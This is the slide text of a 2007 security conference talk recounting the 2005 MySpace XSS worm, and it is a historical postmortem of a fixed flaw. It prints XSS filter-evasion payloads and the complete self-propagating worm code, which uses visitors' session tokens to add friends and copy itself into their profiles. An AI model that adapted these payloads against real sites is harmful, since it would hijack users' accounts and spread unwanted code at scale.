The MySpace Worm
OWASP &
WASC
AppSec 2007
Conference
San Jose – Nov 2007
http://www.webappsec.org/
Samy Kamkar
Co-founder, Fonality
samy@fonality.com
Copyright © 2007 - The OWASP Foundation
Permission is granted to copy, distribute and/or modify this document under the
terms of the Creative Commons Attribution-ShareAlike 2.5 License. To view this
license, visit http://creativecommons.org/licenses/by-sa/2.5/
The OWASP Foundation
http://www.owasp.org/
Who is samy?
Known only by the pseudonym “samy”
(and also by full name, “Samy Kamkar”)
Co-founder of Fonality, IP PBX Phone Systems
Developer (and lover) of topics including:
Automated Security Vulnerability Research
Low-level Packet Fu
Artificial Intelligence
The “Web”, as the kids are calling it these days
Chick Magnet
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
MySpace, a place for (potential girl)friends
Social Networking. Online. Classy.
A mildly addictive, web-based stimulant
Ability to add friends, bio, favorite music, heroes, etc.
Pics. Lots of pics.
Not enough hugs or friends as a child (why isn’t there
a One Hug Per Child project?)
Realistically, a great place and efficient method to
keep up with friends, family, and girlfriends
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
3
Nice profile. Wanna friend?
Goals of every MySpace User
Persuade peers from high school whom you sat next to, but
never spoke with, to accept your friend request
Have many friends
Have many comments
Have many pictures
If you’re a girl, pose only in “The MySpace Angles”
If you’re a guy, pose shirtless
All other pictures are subject to removal
Have a flashy profile (no pun intended), including customized
CSS, Flash, and <blink>! It’s totally coming back
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
Chicks Dig Cool Profiles
Goals of samy’s profile
See what all the MySpace fuss was about
Impress my friends
Impress my girlfriend
Impress her hot friends
Learn AJAX
This took place in 2005 when Google Maps was just released
No malicious intentions, of course.
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
Don’t Try This At Home
The following methods no longer apply to
MySpace.
They did apply in 2005 when “The MySpace
Worm” was released. All issues were promptly
resolved by MySpace.
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
Initial Investigation, samy, web 2.0 P.I.
Character and Tag Limitations
In this case, I wanted to add HTML and lengthen my profile title
Some limitations were simply imposed by HTML tags:
<input type=“text” maxlength=“120” name=“title”>
– Remove the maxlength, submit, voila
Some limitations were done on the backend – smart!
Some changes were limited at an interim step (confirmation
page) when making changes after stripping nasty stuff:
Step 1: Change title to “I rule. <img src=britney.jpg>”
Step 2: Page comes back with hidden values:
– <input type=“hidden” name=“title” value=“I rule.”>
– <input type=“hidden” name=“hash”
value=“BADC0DEDDEADBEEF”>
Step 3: Profit. I mean, submit – after changing hidden values
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
Just a JavaScriptKiddie
First attempt to inject JavaScript:
Body of page only allows: <img>, <embed>, <div>
All other tags blocked (<script>, <body>, etc)
onAnything’s blocked (<a onClick=…>)
Hrefs with anything other than an http URL blocked
‘expression’ property in CSS
Browser Wars
Thanks IE, Safari, I love you guys so much. (FF FTW)
JavaScript, invading a CSS tag near you:
<div style="background:url('javascript:alert(1)')">
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
I Hope They Serve Beer In Quote Hell
Single and double quotes used up just to get to
a point to add JavaScript…
Writing any useful JS would require additional quotes
MySpace removes attempts to escape quotes (e.g. \”)
<div style="background:url('javascript:alert(\”hi\”)')"> will
not work
Think outside of the tag – move our actual javascript
elsewhere, then evaluate it:
<div id=“mycode" expr="alert('ha ha!')"
style="background:url(‘javascript:
eval(document.all.mycode.expr)
')">
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
Watch Your Language!
Aw man, these guys are good. “javascript” is
removed from ANYWHERE.
Even smarter, they replace “javascript” with “..”
An attack like “jjavascriptajavascriptvjavascripta…”
will not work due to the replacement of the text
(ends up “j..a..v..a..etc”)
I can’t even say “I love JavaScript!” in my profile
Luckily, I do in fact love semi-ellipses. “I love ..!”
They really add..suspense..to language.
Then I had this fuzzy feeling..
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
Oops, IE Did It Again!
Fudging (well, fuzzing) a new solution
It was only a few minutes, but I felt close, as I
typically do after a few minutes…
I had to somehow get the ‘javascript’ word in there
A little fuzzer later, placing every possible character
between the words ‘java’ and ‘script’ to see if any
browser would accept it…IE & Safari, loose again:
<div id="mycode" expr="alert('hah!')"
style="background:url('java<newline>
script:eval(document.all.mycode.expr)')">
Great success!
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
Quote Me, Baby, One More Time
JavaScript is now a reality! Veni, vidi, vici.
Still some hurdles!
Although we have single quotes available to us, we
sometimes need double quotes.
Decimal to ASCII solves this by storing the double quote in a
variable:
– expr=“var A=String.fromCharCode(34);
alert(A + ’air quotes’ + A);”
Equivalent to alert(‘”air quotes”’)
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
Use The Source, Luke
Change “In a relationship” to “In a hot relationship”
Submitting relationship status was a dropdown with numeric IDs
as the values, not text
Submitting text as the value would fail
Overlaying DIVs is possible but can be painful
JS at our disposal, thus, let’s simply replace source in the page:
document.body.innerHTML = document.body.innerHTML.replace(
’In a relationship’, ‘In a <b>hot</b> relationship’);
MySpace stops this! They replace “innerHTML” with “..”
To avoid the replacement, we simply chunk our data:
eval(‘document.body.inn’ + ‘erHTML = document…’);
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
Tracking Profile Views / Stalkers
Next goal: Tracking visitors
Trivial using several methods
Using an <img> pointing to a remote CGI
Instead, without even using JS or a remote CGI,
accomplish with a simple GET request
Using the “Add To Favorites” link allows you to add a user to
your “Favorites” list
Only a GET is required to accomplish this
To add a friend, you need their Friend ID
To avoid JS, we accomplish this with the reverse -- have all
visitors to my profile add ME as their favorite, then I can go
in and view all people who have added ME as a favorite
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
I’m Good Enough, I’m Smart Enough…
And Doggone It, People Like Me.
AJAX 101 -- Introduction to Browser Control
Goal: Add myself as a friend to any visitor:
Perform a GET to a confirmation page with a profile ID
Perform a POST to confirm the add, submitting a hidden,
random hash value
AJAX allows us to do this seamlessly in the background
AJAX performs the GET request via XMLHttpRequest object
Scrape the source for the randomized hash
AJAX performs the submit via the same object, setting the
randomized hash as a POST parameter, using existing cookies
It doesn’t work! Profiles are on “profile.myspace.com”,
but editing profiles is on “www.myspace.com”!
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
AJAX Cross-Domain Security
Browsers prevent the XMLHttpRequest object from
POSTing to URLs not in the same FQDN (Fully Qualified
Domain Name)
Can’t post from “profile.myspace.com” to “www.myspace.com”
Misdirection. What the eyes see…
MySpace is lenient, allowing you to view profiles on both
profile.myspace.com and www.myspace.com
Simply perform a redirect if we’re on profile.myspace.com!
if (location.hostname == 'profile.myspace.com')
document.location = 'http://www.myspace.com' +
location.pathname + location.search;
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
AJAX Cross-Domain Security Redux
An alternative: XSS (Cross-Site Scripting)
By locating an XSS on www.myspace.com, we can:
Still directly be on profile.myspace.com
Remove the need to perform an obvious redirect
Perform an AJAX POST to www.myspace.com
Still harness the client’s cookies on www.myspace.com
A simple Flash app makes this easy
Remember, <embed>s are allowed but allowScript=“no”
Harnessing a statically named hidden iframe which already
existed on all profiles to direct our XSS page to
Using ActionScript’s getURL() function to make the call
getURL(‘http://www.myspace.com/xss..<script>…’, ‘iframe’)
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
The Geek Who Became A Friend.
The Friend Who Became A Hero.
Not only could I add myself as a friend, but I
could modify any victim, er, visitor’s profile
1) Choose your target
I selected the “heroes” section of the profile, a seldom used
section where you can list your heroes
2) Approach indirectly
A standard POST to the heroes section would have removed
their existing list. A hero would do no such thing.
To prevent this, we need to:
– GET the visitor’s profile
– Extract the existing heroes
– Append “but most of all, samy is my hero.”
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
Friend Is A Four Letter Word
GETting the user’s profile
In order to retrieve the user’s profile, we need to
know their profile ID
This was only available in one place on my profile
which they were visiting, ironically in an unused
portion of code -- it was not available in the cookie
We can extract this simply from the innerHTML:
document.body.innerHTML.indexOf('friendID');
Oddly, this fails! We’re left with the index (location)
of the javascript code where the word “friendID”
begins, as the javascript also exists in the innerHTML
Avoid this by performing:
document.body.innerHTML.indexOf(‘frie’ + ‘ndID’);
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
API, SDK, other cool buzzwords
There are patterns everywhere in nature.
To accomplish adding friends, revealing myself as a
(self-proclaimed) hero, and more, I almost always
need to perform the same tasks
Building an API makes all of these functions very
simple
addFriend(profileID)
addFavorite(‘hero’, ‘Dr. House’)
addComment(‘profileID’, ‘Man, samy, you rock!’)
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
The MySpace Worm
Putting it all together
Perform the redirect if necessary
Add our visitor as a friend
Get the visitor’s heroes, append myself
What if we capture the source code doing all
this…and add that to the visitor’s profile, too?
5 people view my profile, samy has 5 new
friends
5 people each view those profiles, samy has 25
more friends!
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
T Minus 1
First attempt at running it -- doesn’t work!
Too much data to post! Time to minimize our JS
Try again…
Now, while I get added as a friend and hero, the
code doesn’t work on the user’s profile
Ah hah! URI Escaping is necessary when
reposting the code
JavaScript’s escape() does not escape
everything we need, so we create a manual
escape function
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
In the end, there was code
<div id=mycode style="BACKGROUND: url('java
script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{
var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}functi
on getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var
F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS
}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.loca
tion='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return fin
dIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N
+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'
='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ==
'POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.se
nd(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.in
dexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(B
G=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.sub
string(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else
if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){
Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC
.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, s
amy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,
'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken')
;var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fusea
ction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}v
ar AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['int
erest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,
'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&My
token='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&f
riendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.respons
eText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']
='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',pa
ramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.op
en(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHea
der('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
Launching The “Popularity Program”
Sunday night, around midnight
Released the worm into my profile
Without testing, I assumed it wouldn’t work.
It worked.
Friend’s girlfriend (victim) viewed my profile.
She was totally checking me out.
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
The Morning After (no pill to stop this)
Monday Morning, 8am
You have 221 friend requests.
Whoa.
If 200 people “infected” in 8 hours…
That’s 600 friends a day!
Whoa.
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
2^<insert hard math stuff here>
1 hour later, 9am
You have 480 friend requests.
Oh wait. It’s exponential, isn’t it. Shit.
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
Friends Till The end
1 hour later, 10am
You have 1,061 friend requests.
People messaging me left and right
“How did you hack my profile?”
“You’re hot!” (From girls. And one guy.)
“I delete you but you come right back!”
Visitor attempts to delete me as a friend
Visitor goes back to their main profile page where the code lives
Visitor re-infects him or herself
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
Taking It All Back
1:30pm, I’m up to 10,000 “friends”
(they’re not really my friends, I haven’t even
met most of these people.)
I’m scared.
I delete my profile.
“Are you sure?”
YES! *click*
“Deletion takes up to 24 hours.” Crap.
Deleting the profile can’t actually stop the worm.
MySpace recently purchased by FOX ($580 mil)
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
Not So Refreshing
Spreading like an STD.
For an “Internet Condom”, see next talk.
...
6pm, I refresh the page.
“917,664 friend requests”
3 seconds later, refresh.
“918,268 friend requests”
3 seconds later, refresh.
“919,664 friend requests”
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
All Your MySpace Are Belong To Me
A minute later, I refresh.
…
…
You have 1,005,831 friend requests.
…
…
It’s official. I’m popular.
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
My Bad.
An hour later, I refresh once more.
“This profile is unavailable.”
Finally, they took care of my profile! Good!
I visit my girlfriend’s profile.
“This profile is unavailable.”
I visit myspace.com.
“We are temporarily down for maintenance.”
Uh oh.
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
The Last Supper
I decide to enjoy whatever freedom I have left.
I drive to Chipotle and have a burrito.
An hour later, someone tells me everything is
back up -- I’m relieved to hear this.
...
My girlfriend calls me and tells me, “you’re my
hero.”
In my panicked state, I don’t get the joke until
the next day.
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
Love & Hate
The press was interested.
Interviews were taken.
T-shirts were created.
Friends were made and lost.
Copycats emerged. “Samy.Reloaded” and others
Worm code reused on other sites.
No word from MySpace.
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
Until…
The Secret Service raided my home.
And office.
They even took my iPod.
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
Q&A
A gentleman never asks, a lady never tells.
The MySpace Worm: http://namb.la/popular
Technical explanation:
http://namb.la/popular/tech.html
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
The Anti-Anti-Samy Project
Coming soon.
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007